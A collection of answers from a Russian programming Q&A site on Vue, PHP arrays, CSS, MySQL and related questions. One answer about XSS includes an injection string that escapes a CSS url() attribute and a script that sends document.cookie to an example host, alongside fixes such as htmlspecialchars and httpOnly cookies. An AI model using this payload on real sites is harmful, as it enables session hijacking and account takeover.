• Как отключить реактивность в компоненте?

    0xD34F
    @0xD34F Куратор тега Vue.js
    При изменении item.department меняется и item_loaded.department

    this.item_loaded = this.item

    Реактивность, как же. Язык не знаете, а лезете фреймворками пользоваться. Правильно будет так (погуглите, в чём разница между примитивными типами данных и объектами):

    this.item_loaded = { ...this.item }

    Не очень понятно, зачем created - в data контекстом является экземпляр компонента, параметры доступны, так что копировать объект можно прямо там:

    data() {
      return {
        item_loaded: { ...this.item },
      };
    },

    Вычисляемое свойство isChanged - можно же сделать в одну строку вместо пяти:

    isChanged() {
      return this.item_loaded.department !== this.item.department;
    },

    Почему в качестве дефолтного значения для item используется null? - вы обращаетесь к его свойствам, если ничего не передать, получится ошибка cannot read property of null. Должен быть объект:

    default: () => ({ /* можно указать какие-нибудь свойства с дефолтными значениями */ }),

    Мутируете параметр (v-model="item.department"). Правильно будет эмитить изменения в родительский компонент и обновлять объект уже там. В родителе цепляете значение для параметра item с модификатором sync, а в рассматриваемом компоненте v-model заменяете на установку значения и обработку события input:

    <input
      :value="item.department"
      @input="$emit('update:item', { ...item, department: $event.target.value })"
    >
    Ответ написан
    1 комментарий
  • Как сделать плавное увеличение ширины по мере скролла?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const baseWidth = $('.banner').width();
    
    $(window).scroll(function() {
      $('.banner').width(baseWidth + $(this).scrollTop());
    });
    Ответ написан
    Комментировать
  • Как вычислить одинаковые значения в массиве и получить ключи этих совпадающих значений кроме исходного?

    0xD34F
    @0xD34F
    $vals = [];
    $keys = [];
    
    foreach ($arr as $key => $val) {
      if (isset($vals[$val])) {
        $keys[] = $key;
      }
      $vals[$val] = 1;
    }
    Ответ написан
    Комментировать
  • [PHP] DataBase на ООП, как лучше написать?

    search
    @search
    мама говорит что я особенный
    Вот тут вкратце описаны все популярные шаблоны проектирования DB слоя https://gist.github.com/codedokode/c4cbc4d7dc8e45ea074a

    Выбирайте тот что вам по душе и кайфуйте.

    Попробуйте DataMapper. Он довольно прост в реализации (вам даже либа не пондобится. Ну разве что стандартная PDO) и меньше чем ActiveRecord склоняет программистов к говнокоду. Ну и гораздо менее тяжеловесен чем полноценная ОРМ. Для понимания и закрепления ООП - самое то.

    Только что попробовал поискать примеры в русском тырнете, но ничего вменяемого не нашел. Попробуйте сами погуглить ради интереса.

    Вот очень подробная статья на инглише https://www.sitepoint.com/integrating-the-data-mappers/

    А самый, на мой взгляд, лучший пример, предоставлен японцем (не пугайтесь иероглифов, смотрите код): https://github.com/hirak/pdo-datamapper-example
    Ответ написан
    2 комментария
  • Как объединить значения внутри массива?

    0xD34F
    @0xD34F
    $result = array_map(function($n) {
      return implode(', ', array_column($n, 'value'));
    }, $arr);
    Ответ написан
    1 комментарий
  • Как удалить неиспользуемый CSS, чтобы уменьшить CSS-файлы?

    Vlad_IT
    @Vlad_IT Куратор тега CSS
    Front-end разработчик
    Нельзя автоматически делать, т.к. вы не сможете анализируя только html код, удалить неиспользуемые классы, т.к. вероятно, эти классы будут добавляться через js, или использоваться на других страницах. Так можно лишнее удалить.
    Нужно вручную, при помощи инструментов. В хроме в devtools есть крутой инструмент code coverage, заходите на страницу, жмете запись, и он показывает, какие строки в css/js были выполнены (использованы в случае css). Заходите в предлагаемые файлы, и там каждый неиспользуемый на данной странице css блок, будет выделен красным цветом, читаете его и смотрите, точно ли вы не где не могли его использовать.
    Подробнее тут
    https://developers.google.com/web/updates/2017/04/...
    https://medium.com/devschacht/using-the-chrome-dev...
    Ответ написан
    1 комментарий
  • Правильно ли я понял, как надо выполнить задачу?

    DevMan
    @DevMan
    <?php
    
    $list = [
    	['number' => 3],
    	['number' => 2],
    	['number' => 45],
    ];
    // 1st example
    echo array_sum(array_column($list, 'number')), PHP_EOL;
    
    // 2nd example
    echo array_reduce($list, function ($carry, $item) {
    	return $carry += $item['number'];
    }), PHP_EOL;
    
    // 3rd example
    array_walk($list, function ($item) use (&$sum) {
    	$sum += $item['number'];
    });
    echo $sum, PHP_EOL;
    
    // 4th example
    array_map(function ($item) use (&$sum2) {
    	$sum2 += $item['number'];
    }, $list);
    echo $sum2, PHP_EOL;

    https://ideone.com/xSbmOX
    Ответ написан
    Комментировать
  • Как объяснить клиенту, что дизайн необходимо оплатить, если он даже не понравился?

    @viktoriamaler
    never stop learning
    Если вы не договаривались о том, что он в любом случае все оплатит, то вам нечего и требовать.
    "Понравился, не понравился будьте добры оплатить работу." - это бред, если клиент не обязался вам оплачивать отработанные часы.
    Все мы знаем о чудо-заказчиках. Но может вы действительно фигню какую-то сделали? Вас же не заставит никто купить, скажем, какой-то испорченный товар, раз он вам не нравится?
    В следующий раз берите предоплату или прописывайте такие вещи в договоре.
    Ответ написан
  • Как отслеживать новые темы/страницы на сайтах?

    OrlovEvgenii
    @OrlovEvgenii
    golang developer / DevOps
    Ищи у таких сайтов фиды, и rss ленты.
    Например rss хабра https://habr.com/rss/hubs/all/ или Medium https://medium.com/feed/@Medium как правило это обычный xml

    Дальше просто парсишь его по нужным тебе ключам - "/вязать/" "/шапочки/".

    Доступного универсального софта для такого нет.
    Ответ написан
    1 комментарий
  • C чего нужно начать строить алгоритм генерации урлов из массива?

    0xD34F
    @0xD34F
    function getUrls($parts, $acc = '') {
      $urls = [];
    
      if (count($parts)) {
        $part = array_shift($parts);
        if (!is_array($part)) {
          $part = [ $part ];
        }
    
        foreach ($part as $p) {
          array_push($urls, ...getUrls($parts, ($acc ? $acc.'/' : '').$p));
        }
      } else {
        $urls[] = $acc;
      }
    
      return $urls;
    }
    
    
    $urls = getUrls($urlFragments);
    Ответ написан
    1 комментарий
  • Чем отличается "--$x" от "$x - 1" в данном контексте?

    @D3lphi
    Как это ничем?
    --$x производит декремент переменной, а затем передает её в качестве аргумента функции.
    $x - 1 передает функции значение, полученное при декременте переменной $x.
    Таким образом, в первом случае изменяется значение самой переменной, во втором - нет. А так как значения выражения вычисляются справа налево (для получения результата выражения необходимо сначала выполнить функцию), то в вашем примере, выделенный жирным $x, $x * fac(--$x) будет иметь значение, уже уменьшенное на единицу.
    Ответ написан
    2 комментария
  • Как удалить группу тегов с русскими символами через notepad++?

    lidacriss
    @lidacriss
    wtf
    чтобы такое получилось?
    https://regex101.com/r/WFPrJd/1

    в нотпаде надо, чтобы было включено "новые строки"
    5b7e638bb62cf663845647.jpeg
    Ответ написан
    2 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как поменять тип поля с integer в datetime с автоматической конвертацией значений?

    Melkij
    @Melkij
    PostgreSQL DBA
    mysql не умеет конвертировать значения при смене типа на несовместимый.
    Поэтому необходимо добавить новое поле, обновить всю таблицу, удалить старое поле и переименовать новое в старое.

    Для конвертации из числового unixtime в datetime есть подходящая функция FROM_UNIXTIME, поэтому обновление таблицы будет таким:
    update tablename set new_datefield = FROM_UNIXTIME(old_int_unixtime);
    Ответ написан
    Комментировать
  • Нет подключения к интернету как сделать?

    BRAGA96
    @BRAGA96
    Проверять свойство window.navigator.onLine
    Ответ написан
    Комментировать
  • Как соединить два многомерных массива?

    Решение "в лоб", но работать будет

    $products = [
    	[
    		'product_id' => 102966,
    		'price'      => 11,
    	],
    	[
    		'product_id' => 102967,
    		'price'      => 22,
    	]
    ];
    
    $attributes = [
    	[
    		'product_id'    => 102966,
    		'attr_name'     => 'Диагональ;Длительность ролика',
    		'attr_value'    => '2";1 мин, 2 мин, 3 мин, 5 мин',
    	],
    	[
    		'product_id'    => 102967,
    		'attr_name'     => 'Выходы;Диагональ;Дополнительная информация',
    		'attr_value'    => 'HDMI;2.7";рабочие диапазоны',
    	],
    ];
    
    $products = array_map(function($product) use ( $attributes ) {
    	$attribute = array_filter($attributes, function($attribute) use ( $product ) {
    		return $attribute['product_id'] === $product['product_id'];
    	});
    
    	return array_merge($attribute ? current($attribute) : [], $product);
    }, $products);
    
    print_r($products);
    Ответ написан
    4 комментария
  • Как ускориться и быстрее писать веб-приложения?

    webinar
    @webinar Куратор тега Веб-разработка
    Учим yii: https://youtu.be/-WRMlGHLgRg
    Сколько времени у вас уходит на развертыванием веб-проекта

    3 часа 14 минут. Не зависимо от ТЗ и сложности. Просто чудо какое-то что б не делал всегда 3,14 часов. Что бы не делал - 3,14 просто ПИ...тое число.

    Хочу ускориться, делать больше работы за единицу времени

    Найми сотрудников. Или прими за единицу времени большую единицу. Еще есть опыт, он со временем даст прирост скорости.

    Неужели создание сайта (верстка, бэкенд, фронтенд, проектирование бд итд) настолько нудный и муторный процесс?!

    Вам виднее, это дело вкуса. Если Вам нудно - значит нудный. Попробуйте копать траншеи, может веселее пойдет.

    Поделитесь секретными инструментами, приемами, фреймворками, позволяющими выполнять проект за считанные дни.

    boostrap, vue, jquery, gulp, нормальная IDE, опыт и т.д.
    если надо волшебства - беритесь за проекты, которые делаются за "считанные дни". Например, работайте только wp и готовыми шаблонами. Думаю за пару часов можно собрать сайт (3 часа 14 минут).
    Ответ написан
    Комментировать
  • Как правильно обрезать php до 2-ух знаков после точки?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Что-то вы не то делаете.
    $scheck = 5786.94666667;
    $scheck = number_format($scheck, 2, '.', ' ');
    print $scheck;

    5 786.95
    Ответ написан
    Комментировать
  • Как сделать тяжелый импорт из excel 800к товаров?

    MaxDukov
    @MaxDukov
    впишусь в проект как SRE/DevOps.
    xls сохранить в csv, дальше LOAD DATA INFILE в mysql-ной консоли. Загружал таким образом файлики на десятки миллионов строк - залетает на ура.
    Ответ написан
    Комментировать